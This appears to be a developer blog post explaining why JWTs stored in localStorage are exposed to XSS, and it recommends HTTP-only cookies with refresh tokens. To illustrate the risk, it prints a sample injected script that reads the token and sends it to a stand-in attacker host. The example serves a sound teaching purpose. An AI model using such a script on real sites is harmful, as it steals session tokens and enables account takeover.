[ LOG.ENTRY // Aug 10, 2025 ]

Why You Should Never Store JWT in LocalStorage

Archive
Why You Should Never Store JWT in LocalStorage

Many developers store JWT like this because it seems simple:

js
localStorage.setItem("token", jwtToken);

Later, they read it like this:

js
const token = localStorage.getItem("token");

It works. It feels easy. That is why it became popular.

But easy does not mean safe.

The Real Problem: XSS (Cross-Site Scripting)

If your site has even a small XSS vulnerability, an attacker can run JavaScript inside your app.

For example, if someone injects this script into your site:

html
<script> const token = localStorage.getItem("token"); fetch("https://attacker.com/steal", { method: "POST", body: JSON.stringify({ token }) }); </script>

Your JWT is instantly stolen.

Visual Attack Flow

Here is what happens in a real attack:

User visits your website
        ↓
Attacker injects malicious script
        ↓
Script reads localStorage
        ↓
JWT is sent to attacker
        ↓
Attacker impersonates user

Once the token is stolen, your security is broken.

Why HTTP-only Cookies Are Safer

A better approach is to store JWT in an HTTP-only cookie:

js
res.cookie("token", jwtToken, { httpOnly: true, secure: true, sameSite: "strict" });

Why this is safer:

  • JavaScript cannot read it
  • localStorage attacks no longer work
  • It is automatically sent with requests

Access Token vs Refresh Token (Better Pattern)

A safer authentication flow looks like this:

Access Token

  • Short-lived (5–15 minutes)
  • Used for API requests

Refresh Token

  • Long-lived
  • Stored in HTTP-only cookie
  • Used to get a new access token

Visual flow:

User logs in
     ↓
Server sends refresh token (HTTP-only cookie)
     ↓
Server sends short access token
     ↓
Access token used for requests
     ↓
When expired → use refresh token to get new one

How to Send Authenticated Requests

Instead of reading from localStorage, your backend automatically reads the cookie:

js
app.get("/protected", (req, res) => { const token = req.cookies.token; });

On the frontend, you do nothing special — cookies go with every request.

Common Arguments Against Cookies (and Why They Are Wrong)

People say: “Cookies are vulnerable to CSRF.”

True — but you can prevent this with:

SameSite: "strict" CSRF tokens Proper backend validation

When configured correctly, cookies are much safer than localStorage.

When localStorage Is Acceptable

You can use localStorage for:

UI preferences (theme, language) Non-sensitive data Temporary app state

But never for authentication tokens.

Final Takeaway

Storing JWT in localStorage is a security risk, not just a bad practice. HTTP-only cookies with refresh tokens provide a much safer and production-ready authentication system.

#security#jwt#authentication
All Insights